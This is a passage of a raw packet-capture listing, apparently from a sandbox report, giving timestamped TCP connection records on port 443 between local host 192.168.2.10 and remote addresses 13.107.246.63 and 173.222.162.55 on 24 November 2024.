Nov 24, 2024 08:44:42.468292952 CET	443	49930	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.474147081 CET	49942	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.474195004 CET	443	49942	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.474395990 CET	49942	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.474639893 CET	49942	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.474652052 CET	443	49942	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.604702950 CET	443	49931	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.608313084 CET	443	49931	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.608479023 CET	49931	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.608614922 CET	49931	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.608634949 CET	443	49931	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.608652115 CET	49931	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.608658075 CET	443	49931	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.612231970 CET	49943	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.612287045 CET	443	49943	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.612396002 CET	49943	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.612564087 CET	49943	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.612582922 CET	443	49943	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.727977037 CET	443	49934	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.731192112 CET	443	49934	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.731246948 CET	443	49934	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.731324911 CET	49934	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.731404066 CET	49934	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.731404066 CET	49934	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.731421947 CET	443	49934	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.731434107 CET	443	49934	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.734853983 CET	49944	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.734888077 CET	443	49944	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.734955072 CET	49944	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.735646009 CET	49944	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.735656023 CET	443	49944	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.744781971 CET	443	49933	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.744900942 CET	443	49933	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.745064020 CET	49933	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.745326996 CET	49933	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.745326996 CET	49933	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.745342970 CET	443	49933	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.745353937 CET	443	49933	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.754081011 CET	49945	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.754117966 CET	443	49945	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.754223108 CET	49945	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.756273031 CET	443	49932	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.759392023 CET	443	49932	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.759454012 CET	443	49932	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.759535074 CET	49932	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.760413885 CET	49932	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.760437012 CET	443	49932	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.760802984 CET	49945	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.760833979 CET	443	49945	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.766438961 CET	49946	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.766489029 CET	443	49946	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.766573906 CET	49946	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.766885996 CET	49946	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.766901970 CET	443	49946	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:43.258394003 CET	443	49832	173.222.162.55	192.168.2.10
Nov 24, 2024 08:44:43.258456945 CET	49832	443	192.168.2.10	173.222.162.55
Nov 24, 2024 08:44:44.252531052 CET	443	49942	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.253303051 CET	49942	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.253323078 CET	443	49942	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.253859043 CET	49942	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.253870010 CET	443	49942	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.328620911 CET	443	49943	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.329509974 CET	49943	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.329535007 CET	443	49943	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.332811117 CET	49943	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.332828045 CET	443	49943	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.456067085 CET	443	49944	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.459439993 CET	49944	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.459481955 CET	443	49944	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.459961891 CET	49944	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.459971905 CET	443	49944	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.542946100 CET	443	49945	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.544071913 CET	49945	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.544123888 CET	443	49945	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.544656038 CET	49945	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.544666052 CET	443	49945	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.551099062 CET	443	49946	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.551660061 CET	49946	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.551697016 CET	443	49946	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.552133083 CET	49946	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.552140951 CET	443	49946	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.694787979 CET	443	49942	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.698997021 CET	443	49942	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.702866077 CET	49942	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.703012943 CET	49942	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.703039885 CET	443	49942	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.703058958 CET	49942	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.703064919 CET	443	49942	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.706743002 CET	49954	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.706793070 CET	443	49954	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.707088947 CET	49954	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.707324028 CET	49954	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.707331896 CET	443	49954	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.763102055 CET	443	49943	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.766304016 CET	443	49943	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.766478062 CET	49943	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.766690016 CET	49943	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.766690969 CET	49943	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.766716957 CET	443	49943	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.766727924 CET	443	49943	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.770452023 CET	49955	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.770503044 CET	443	49955	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.770595074 CET	49955	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.770824909 CET	49955	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.770839930 CET	443	49955	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.892016888 CET	443	49944	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.895107031 CET	443	49944	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.897026062 CET	49944	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.897119045 CET	49944	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.897119999 CET	49944	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.897165060 CET	443	49944	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.897253036 CET	443	49944	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.900717974 CET	49956	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.900753975 CET	443	49956	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.900850058 CET	49956	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.901093006 CET	49956	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.901112080 CET	443	49956	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.986131907 CET	443	49945	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.989636898 CET	443	49945	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.989698887 CET	443	49945	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.989752054 CET	49945	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.989794016 CET	49945	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.989866018 CET	49945	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.989892960 CET	443	49945	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.989898920 CET	49945	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.989905119 CET	443	49945	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.993251085 CET	49957	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.993289948 CET	443	49957	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.993367910 CET	49957	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.993520021 CET	443	49946	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.993565083 CET	49957	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.993575096 CET	443	49957	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.997555971 CET	443	49946	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.997642040 CET	49946	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.997694016 CET	49946	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.997715950 CET	443	49946	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:44.997731924 CET	49946	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:44.997739077 CET	443	49946	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:45.000380993 CET	49958	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:45.000408888 CET	443	49958	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:45.000473022 CET	49958	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:45.000617027 CET	49958	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:45.000627041 CET	443	49958	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:46.502680063 CET	443	49954	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:46.503237963 CET	49954	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:46.503257990 CET	443	49954	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:46.503762007 CET	49954	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:46.503771067 CET	443	49954	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:46.553014040 CET	443	49955	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:46.553567886 CET	49955	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:46.553582907 CET	443	49955	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:46.554018974 CET	49955	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:46.554024935 CET	443	49955	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:46.680619001 CET	443	49956	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:46.681211948 CET	49956	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:46.681224108 CET	443	49956	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:46.681793928 CET	49956	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:46.681802988 CET	443	49956	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:46.773840904 CET	443	49957	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:46.774750948 CET	49957	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:46.774781942 CET	443	49957	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:46.775371075 CET	49957	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:46.775378942 CET	443	49957	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:46.864296913 CET	443	49958	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:46.865092039 CET	49958	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:46.865114927 CET	443	49958	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:46.865602970 CET	49958	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:46.865607977 CET	443	49958	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:46.946444988 CET	443	49954	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:46.949758053 CET	443	49954	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:46.949846983 CET	443	49954	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:46.949930906 CET	49954	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:46.950378895 CET	49954	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:46.950398922 CET	443	49954	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:46.950411081 CET	49954	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:46.950416088 CET	443	49954	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:46.954818010 CET	49962	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:46.954879999 CET	443	49962	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:46.954962969 CET	49962	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:46.955116987 CET	49962	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:46.955140114 CET	443	49962	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:46.996361971 CET	443	49955	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:46.999546051 CET	443	49955	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:47.002849102 CET	49955	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:47.003006935 CET	49955	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:47.003030062 CET	443	49955	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:47.003041029 CET	49955	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:47.003046989 CET	443	49955	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:47.006684065 CET	49963	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:47.006728888 CET	443	49963	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:47.006941080 CET	49963	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:47.006983995 CET	49963	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:47.006990910 CET	443	49963	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:47.123621941 CET	443	49956	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:47.127357006 CET	443	49956	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:47.128984928 CET	49956	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:47.129076004 CET	49956	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:47.129093885 CET	443	49956	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:47.129108906 CET	49956	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:47.129113913 CET	443	49956	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:47.132688046 CET	49964	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:47.132730007 CET	443	49964	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:47.132832050 CET	49964	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:47.133095026 CET	49964	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:47.133104086 CET	443	49964	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:47.217139006 CET	443	49957	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:47.217248917 CET	443	49957	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:47.217443943 CET	49957	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:47.217611074 CET	49957	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:47.217636108 CET	443	49957	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:47.217648983 CET	49957	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:47.217658043 CET	443	49957	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:47.221605062 CET	49965	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:47.221647978 CET	443	49965	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:47.221734047 CET	49965	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:47.221960068 CET	49965	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:47.221976995 CET	443	49965	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:47.318547964 CET	443	49958	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:47.321743011 CET	443	49958	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:47.321899891 CET	49958	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:47.321950912 CET	49958	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:47.321966887 CET	443	49958	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:47.321979046 CET	49958	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:47.321984053 CET	443	49958	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:47.324925900 CET	49966	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:47.324965000 CET	443	49966	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:47.325097084 CET	49966	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:47.325484991 CET	49966	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:47.325495005 CET	443	49966	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:48.789659977 CET	443	49963	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:48.790272951 CET	49963	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:48.790307045 CET	443	49963	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:48.790954113 CET	49963	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:48.790966034 CET	443	49963	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:48.799876928 CET	443	49962	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:48.800489902 CET	49962	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:48.800537109 CET	443	49962	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:48.801016092 CET	49962	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:48.801028013 CET	443	49962	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:48.918392897 CET	443	49964	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:48.919163942 CET	49964	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:48.919198990 CET	443	49964	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:48.919728041 CET	49964	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:48.919737101 CET	443	49964	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:48.941060066 CET	443	49965	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:48.941639900 CET	49965	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:48.941720963 CET	443	49965	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:48.942150116 CET	49965	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:48.942163944 CET	443	49965	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.104012966 CET	443	49966	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.104893923 CET	49966	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.104918957 CET	443	49966	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.105446100 CET	49966	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.105449915 CET	443	49966	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.243740082 CET	443	49963	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.246969938 CET	443	49963	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.248445034 CET	49963	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.248541117 CET	49963	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.248541117 CET	49963	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.248589039 CET	443	49963	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.248615980 CET	443	49963	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.251969099 CET	49968	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.252036095 CET	443	49968	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.252124071 CET	49968	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.252325058 CET	49968	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.252351046 CET	443	49968	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.254609108 CET	443	49962	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.257740974 CET	443	49962	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.257961988 CET	49962	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.258007050 CET	49962	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.258032084 CET	443	49962	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.258053064 CET	49962	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.258060932 CET	443	49962	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.260674000 CET	49969	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.260718107 CET	443	49969	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.260787010 CET	49969	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.260916948 CET	49969	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.260936022 CET	443	49969	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.363369942 CET	443	49964	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.366455078 CET	443	49964	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.366566896 CET	49964	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.366641998 CET	49964	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.366662979 CET	443	49964	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.366676092 CET	49964	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.366681099 CET	443	49964	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.370100021 CET	49971	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.370158911 CET	443	49971	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.370235920 CET	49971	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.370414972 CET	49971	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.370440006 CET	443	49971	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.376147032 CET	443	49965	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.378902912 CET	443	49965	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.378963947 CET	443	49965	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.378978014 CET	49965	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.379028082 CET	49965	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.379087925 CET	49965	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.379106998 CET	443	49965	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.379118919 CET	49965	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.379125118 CET	443	49965	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.382236004 CET	49972	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.382270098 CET	443	49972	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.382333994 CET	49972	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.382474899 CET	49972	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.382491112 CET	443	49972	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.548631907 CET	443	49966	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.551651955 CET	443	49966	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.552380085 CET	49966	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.552539110 CET	49966	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.552565098 CET	443	49966	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.552580118 CET	49966	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.552586079 CET	443	49966	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.555964947 CET	49973	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.556005001 CET	443	49973	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:49.556756020 CET	49973	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.557069063 CET	49973	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:49.557089090 CET	443	49973	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:51.034641027 CET	443	49968	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:51.038669109 CET	443	49969	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:51.047962904 CET	49968	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:51.048006058 CET	443	49968	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:51.055150986 CET	49968	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:51.055181980 CET	443	49968	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:51.077047110 CET	49969	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:51.077088118 CET	443	49969	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:51.080948114 CET	49969	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:51.080959082 CET	443	49969	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:51.103400946 CET	443	49972	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:51.148313046 CET	49972	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:51.148348093 CET	443	49972	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:51.148905039 CET	49972	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:51.148910999 CET	443	49972	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:51.154305935 CET	443	49971	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:51.155648947 CET	49971	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:51.155683994 CET	443	49971	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:51.157232046 CET	49971	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:51.157241106 CET	443	49971	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:51.401658058 CET	443	49973	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:51.402455091 CET	49973	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:51.402483940 CET	443	49973	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:51.403018951 CET	49973	443	192.168.2.10	13.107.246.63
